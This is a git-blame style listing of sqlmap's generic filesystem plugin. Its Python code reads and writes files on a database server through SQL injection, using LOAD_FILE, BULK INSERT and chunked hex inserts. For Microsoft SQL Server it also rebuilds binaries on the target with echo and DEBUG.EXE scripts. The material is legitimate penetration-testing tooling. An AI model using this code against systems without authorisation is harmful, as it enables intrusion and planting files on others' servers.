2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$ Id $
2008-10-15 19:38:22 +04:00
2012-01-11 18:59:46 +04:00
Copyright ( c ) 2006 - 2012 sqlmap developers ( http : / / www . sqlmap . org / )
2010-10-15 03:18:29 +04:00
See the file ' doc/COPYING ' for copying permission
2008-10-15 19:38:22 +04:00
"""
2009-04-22 15:48:07 +04:00
import binascii
2010-05-29 14:10:28 +04:00
import codecs
2009-04-22 15:48:07 +04:00
import os
from lib . core . agent import agent
from lib . core . common import dataToOutFile
2011-01-28 19:36:09 +03:00
from lib . core . common import Backend
2010-12-18 18:57:47 +03:00
from lib . core . common import isTechniqueAvailable
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
from lib . core . common import readInput
2010-03-27 02:23:25 +03:00
from lib . core . data import conf
2009-04-22 15:48:07 +04:00
from lib . core . data import logger
2012-02-29 18:36:23 +04:00
from lib . core . enums import CHARSET_TYPE
2010-11-08 12:20:02 +03:00
from lib . core . enums import DBMS
2010-12-18 18:57:47 +03:00
from lib . core . enums import PAYLOAD
2010-03-23 01:57:57 +03:00
from lib . core . exception import sqlmapUndefinedMethod
2009-04-22 15:48:07 +04:00
from lib . request import inject
2008-10-15 19:38:22 +04:00
class Filesystem :
"""
This class defines generic OS file system functionalities for plugins .
"""
2009-04-22 15:48:07 +04:00
def __init__ ( self ) :
self . fileTblName = " sqlmapfile "
2011-04-30 17:20:05 +04:00
self . tblField = " data "
2009-04-22 15:48:07 +04:00
def __unbase64String ( self , base64Str ) :
2009-07-09 15:50:15 +04:00
unbase64Str = " %s \n " % base64Str . decode ( " base64 " )
2009-04-22 15:48:07 +04:00
return unbase64Str
def __unhexString ( self , hexStr ) :
2009-07-09 15:50:15 +04:00
if len ( hexStr ) % 2 != 0 :
2011-04-30 17:20:05 +04:00
errMsg = " for some reason(s) sqlmap retrieved an odd-length "
2009-06-02 18:24:48 +04:00
errMsg + = " hexadecimal string which it is not able to convert "
errMsg + = " to raw string "
logger . error ( errMsg )
return hexStr
2011-02-06 18:23:27 +03:00
try :
cleanStr = binascii . unhexlify ( hexStr )
except TypeError , e :
logger . critical ( " unable to unhex the string ( ' %s ' ) " % e )
return None
return cleanStr
2009-04-22 15:48:07 +04:00
def __binDataToScr ( self , binaryData , chunkName ) :
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back - end DBMS underlying file system
"""
fileLines = [ ]
2011-04-30 17:20:05 +04:00
fileSize = len ( binaryData )
lineAddr = 0x100
lineLen = 20
2009-04-22 15:48:07 +04:00
fileLines . append ( " n %s " % chunkName )
fileLines . append ( " rcx " )
fileLines . append ( " %x " % fileSize )
fileLines . append ( " f 0100 %x 00 " % fileSize )
2011-10-22 02:34:27 +04:00
for fileLine in xrange ( 0 , len ( binaryData ) , lineLen ) :
2009-04-22 15:48:07 +04:00
scrString = " "
for lineChar in binaryData [ fileLine : fileLine + lineLen ] :
strLineChar = binascii . hexlify ( lineChar )
if not scrString :
2011-04-30 17:20:05 +04:00
scrString = " e %x %s " % ( lineAddr , strLineChar )
2009-04-22 15:48:07 +04:00
else :
scrString + = " %s " % strLineChar
lineAddr + = len ( lineChar )
fileLines . append ( scrString )
fileLines . append ( " w " )
fileLines . append ( " q " )
return fileLines
def __checkWrittenFile ( self , wFile , dFile , fileType ) :
2011-04-30 18:54:29 +04:00
if Backend . isDbms ( DBMS . MYSQL ) :
2009-04-22 15:48:07 +04:00
lengthQuery = " SELECT LENGTH(LOAD_FILE( ' %s ' )) " % dFile
2011-04-30 18:54:29 +04:00
elif Backend . isDbms ( DBMS . PGSQL ) :
2009-04-22 15:48:07 +04:00
lengthQuery = " SELECT LENGTH(data) FROM pg_largeobject WHERE loid= %d " % self . oid
2011-04-30 18:54:29 +04:00
elif Backend . isDbms ( DBMS . MSSQL ) :
2010-01-02 05:02:12 +03:00
self . createSupportTbl ( self . fileTblName , self . tblField , " text " )
2009-04-22 15:48:07 +04:00
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
2010-01-02 05:02:12 +03:00
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( self . fileTblName , dFile , randomStr ( 10 ) , randomStr ( 10 ) ) )
2009-04-22 15:48:07 +04:00
lengthQuery = " SELECT DATALENGTH( %s ) FROM %s " % ( self . tblField , self . fileTblName )
wFileSize = os . path . getsize ( wFile )
logger . debug ( " checking if the %s file has been written " % fileType )
2012-02-29 18:36:23 +04:00
dFileSize = inject . getValue ( lengthQuery , resumeValue = False , charsetType = CHARSET_TYPE . DIGITS )
2009-04-22 15:48:07 +04:00
if dFileSize and dFileSize . isdigit ( ) :
2011-04-30 17:20:05 +04:00
infoMsg = " the file has been successfully written and "
2009-04-22 15:48:07 +04:00
infoMsg + = " its size is %s bytes " % dFileSize
dFileSize = long ( dFileSize )
if wFileSize == dFileSize :
infoMsg + = " , same size as the local file ' %s ' " % wFile
else :
infoMsg + = " , but the size differs from the local "
2011-06-07 18:58:22 +04:00
infoMsg + = " file ' %s ' ( %d bytes) " % ( wFile , wFileSize )
2009-04-22 15:48:07 +04:00
logger . info ( infoMsg )
else :
2011-04-30 17:20:05 +04:00
warnMsg = " it looks like the file has not been written, this "
2009-04-22 15:48:07 +04:00
warnMsg + = " can occur if the DBMS process ' user has no write "
warnMsg + = " privileges in the destination path "
logger . warn ( warnMsg )
def fileToSqlQueries ( self , fcEncodedList ) :
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back - end DBMS underlying file system
"""
2011-04-30 17:20:05 +04:00
counter = 0
2009-04-22 15:48:07 +04:00
sqlQueries = [ ]
for fcEncodedLine in fcEncodedList :
if counter == 0 :
sqlQueries . append ( " INSERT INTO %s ( %s ) VALUES ( %s ) " % ( self . fileTblName , self . tblField , fcEncodedLine ) )
else :
updatedField = agent . simpleConcatQuery ( self . tblField , fcEncodedLine )
sqlQueries . append ( " UPDATE %s SET %s = %s " % ( self . fileTblName , self . tblField , updatedField ) )
counter + = 1
return sqlQueries
def fileEncode ( self , fileName , encoding , single ) :
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back - end DBMS underlying file system
"""
fcEncodedList = [ ]
2010-05-29 14:10:28 +04:00
fp = codecs . open ( fileName , " rb " )
fcEncodedStr = fp . read ( ) . encode ( encoding ) . replace ( " \n " , " " )
2009-04-22 15:48:07 +04:00
2010-01-02 05:02:12 +03:00
if not single :
2009-04-22 15:48:07 +04:00
fcLength = len ( fcEncodedStr )
2011-02-07 03:56:15 +03:00
if fcLength > 256 :
2011-10-22 02:34:27 +04:00
for i in xrange ( 0 , fcLength , 256 ) :
2009-04-22 15:48:07 +04:00
string = " "
if encoding == " hex " :
string + = " 0x "
2011-02-07 03:56:15 +03:00
string + = fcEncodedStr [ i : i + 256 ]
2009-04-22 15:48:07 +04:00
if encoding == " base64 " :
string = " ' %s ' " % string
fcEncodedList . append ( string )
if not fcEncodedList :
if encoding == " hex " :
fcEncodedStr = " 0x %s " % fcEncodedStr
elif encoding == " base64 " :
fcEncodedStr = " ' %s ' " % fcEncodedStr
fcEncodedList = [ fcEncodedStr ]
return fcEncodedList
2009-04-28 03:05:11 +04:00
def updateBinChunk ( self , binaryData , tmpPath ) :
2009-04-22 15:48:07 +04:00
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back - end DBMS underlying file system
"""
2011-04-30 17:20:05 +04:00
randScr = " tmpf %s .scr " % randomStr ( lowercase = True )
chunkName = randomStr ( lowercase = True )
fileScrLines = self . __binDataToScr ( binaryData , chunkName )
2009-04-22 15:48:07 +04:00
forgedScrLines = [ ]
2011-04-30 17:20:05 +04:00
cmd = " "
charCounter = 0
maxLen = 512
2009-04-22 15:48:07 +04:00
2010-12-10 18:28:56 +03:00
logger . debug ( " generating binary file %s \ %s , please wait.. " % ( tmpPath , chunkName ) )
2009-04-22 15:48:07 +04:00
for scrLine in fileScrLines :
2011-04-30 17:20:05 +04:00
forgedScrLine = " echo %s " % scrLine
2010-05-13 13:32:27 +04:00
forgedScrLine + = " >> \" %s \ %s \" " % ( tmpPath , randScr )
2009-04-22 15:48:07 +04:00
forgedScrLines . append ( forgedScrLine )
for forgedScrLine in forgedScrLines :
2011-04-30 17:20:05 +04:00
cmd + = " %s & " % forgedScrLine
2009-04-22 15:48:07 +04:00
charCounter + = len ( forgedScrLine )
if charCounter > = maxLen :
2010-10-28 04:19:40 +04:00
self . execCmd ( cmd )
2009-04-22 15:48:07 +04:00
2010-10-28 04:19:40 +04:00
cmd = " "
2009-04-22 15:48:07 +04:00
charCounter = 0
if cmd :
2010-10-28 04:19:40 +04:00
self . execCmd ( cmd )
2009-04-22 15:48:07 +04:00
2010-10-28 04:19:40 +04:00
commands = ( " cd %s " % tmpPath , " debug < %s " % randScr , " del /F /Q %s " % randScr )
2009-04-22 15:48:07 +04:00
complComm = " & " . join ( command for command in commands )
2010-10-28 04:19:40 +04:00
self . execCmd ( complComm , silent = True )
2009-04-22 15:48:07 +04:00
return chunkName
def askCheckWrittenFile ( self , wFile , dFile , fileType ) :
2011-04-30 17:20:05 +04:00
message = " do you want confirmation that the file ' %s ' " % dFile
2010-01-02 05:02:12 +03:00
message + = " has been successfully written on the back-end DBMS "
2009-04-22 15:48:07 +04:00
message + = " file system? [Y/n] "
2011-04-30 17:20:05 +04:00
output = readInput ( message , default = " Y " )
2009-04-22 15:48:07 +04:00
if not output or output in ( " y " , " Y " ) :
self . __checkWrittenFile ( wFile , dFile , fileType )
2010-03-23 01:57:57 +03:00
def unionReadFile ( self , rFile ) :
2011-04-30 17:20:05 +04:00
errMsg = " ' unionReadFile ' method must be defined "
2010-03-23 01:57:57 +03:00
errMsg + = " into the specific DBMS plugin "
raise sqlmapUndefinedMethod , errMsg
def stackedReadFile ( self , rFile ) :
2011-04-30 17:20:05 +04:00
errMsg = " ' stackedReadFile ' method must be defined "
2010-03-23 01:57:57 +03:00
errMsg + = " into the specific DBMS plugin "
raise sqlmapUndefinedMethod , errMsg
def unionWriteFile ( self , wFile , dFile , fileType , confirm = True ) :
2011-04-30 17:20:05 +04:00
errMsg = " ' unionWriteFile ' method must be defined "
2010-03-23 01:57:57 +03:00
errMsg + = " into the specific DBMS plugin "
raise sqlmapUndefinedMethod , errMsg
def stackedWriteFile ( self , wFile , dFile , fileType , confirm = True ) :
2011-04-30 17:20:05 +04:00
errMsg = " ' stackedWriteFile ' method must be defined "
2010-03-23 01:57:57 +03:00
errMsg + = " into the specific DBMS plugin "
raise sqlmapUndefinedMethod , errMsg
2008-10-15 19:38:22 +04:00
def readFile ( self , rFile ) :
2009-04-22 15:48:07 +04:00
fileContent = None
self . checkDbmsOs ( )
2010-12-18 18:57:47 +03:00
if conf . direct or isTechniqueAvailable ( PAYLOAD . TECHNIQUE . STACKED ) :
if isTechniqueAvailable ( PAYLOAD . TECHNIQUE . STACKED ) :
2011-04-30 17:20:05 +04:00
debugMsg = " going to read the file with stacked query SQL "
2010-03-27 02:23:25 +03:00
debugMsg + = " injection technique "
logger . debug ( debugMsg )
2009-04-22 15:48:07 +04:00
2010-03-27 02:23:25 +03:00
fileContent = self . stackedReadFile ( rFile )
2011-02-08 20:03:57 +03:00
elif Backend . isDbms ( DBMS . MYSQL ) :
2010-03-27 02:23:25 +03:00
fileContent = self . unionReadFile ( rFile )
2011-02-06 18:23:27 +03:00
else :
errMsg = " none of the SQL injection techniques detected can "
2011-02-06 18:28:23 +03:00
errMsg + = " be used to read files from the underlying file "
errMsg + = " system of the back-end %s server " % Backend . getDbms ( )
2011-02-06 18:23:27 +03:00
logger . error ( errMsg )
return None
2009-04-22 15:48:07 +04:00
2011-04-30 19:24:15 +04:00
if fileContent in ( None , " " ) and not Backend . isDbms ( DBMS . PGSQL ) :
2009-04-22 15:48:07 +04:00
self . cleanup ( onlyFileTbl = True )
return
2009-07-09 15:50:15 +04:00
elif isinstance ( fileContent , ( list , tuple , set ) ) :
newFileContent = " "
for chunk in fileContent :
if isinstance ( chunk , ( list , tuple , set ) ) :
2011-04-10 23:53:42 +04:00
if len ( chunk ) > 0 :
chunk = chunk [ 0 ]
else :
chunk = " "
2009-07-09 15:50:15 +04:00
2011-04-21 18:53:02 +04:00
if chunk :
newFileContent + = chunk
2009-07-09 15:50:15 +04:00
fileContent = newFileContent
2009-04-22 15:48:07 +04:00
2010-02-12 01:57:50 +03:00
fileContent = self . __unhexString ( fileContent )
2009-04-22 15:48:07 +04:00
rFilePath = dataToOutFile ( fileContent )
2011-04-30 19:24:15 +04:00
if not Backend . isDbms ( DBMS . PGSQL ) :
2010-03-10 01:14:26 +03:00
self . cleanup ( onlyFileTbl = True )
2009-04-22 15:48:07 +04:00
return rFilePath
def writeFile ( self , wFile , dFile , fileType = None , confirm = True ) :
self . checkDbmsOs ( )
2010-12-18 18:57:47 +03:00
if conf . direct or isTechniqueAvailable ( PAYLOAD . TECHNIQUE . STACKED ) :
if isTechniqueAvailable ( PAYLOAD . TECHNIQUE . STACKED ) :
2011-04-30 17:20:05 +04:00
debugMsg = " going to upload the %s file with " % fileType
2010-03-27 02:23:25 +03:00
debugMsg + = " stacked query SQL injection technique "
logger . debug ( debugMsg )
2008-10-15 19:38:22 +04:00
2010-03-27 02:23:25 +03:00
self . stackedWriteFile ( wFile , dFile , fileType , confirm )
self . cleanup ( onlyFileTbl = True )
2011-02-06 18:23:27 +03:00
elif isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) and Backend . isDbms ( DBMS . MYSQL ) :
debugMsg = " going to upload the %s file with " % fileType
2010-03-27 02:23:25 +03:00
debugMsg + = " UNION query SQL injection technique "
2009-04-22 15:48:07 +04:00
logger . debug ( debugMsg )
2008-10-15 19:38:22 +04:00
2010-03-27 02:23:25 +03:00
self . unionWriteFile ( wFile , dFile , fileType , confirm )
2011-02-06 18:23:27 +03:00
else :
errMsg = " none of the SQL injection techniques detected can "
2011-02-06 18:28:23 +03:00
errMsg + = " be used to write files to the underlying file "
errMsg + = " system of the back-end %s server " % Backend . getDbms ( )
2011-02-06 18:23:27 +03:00
logger . error ( errMsg )
return None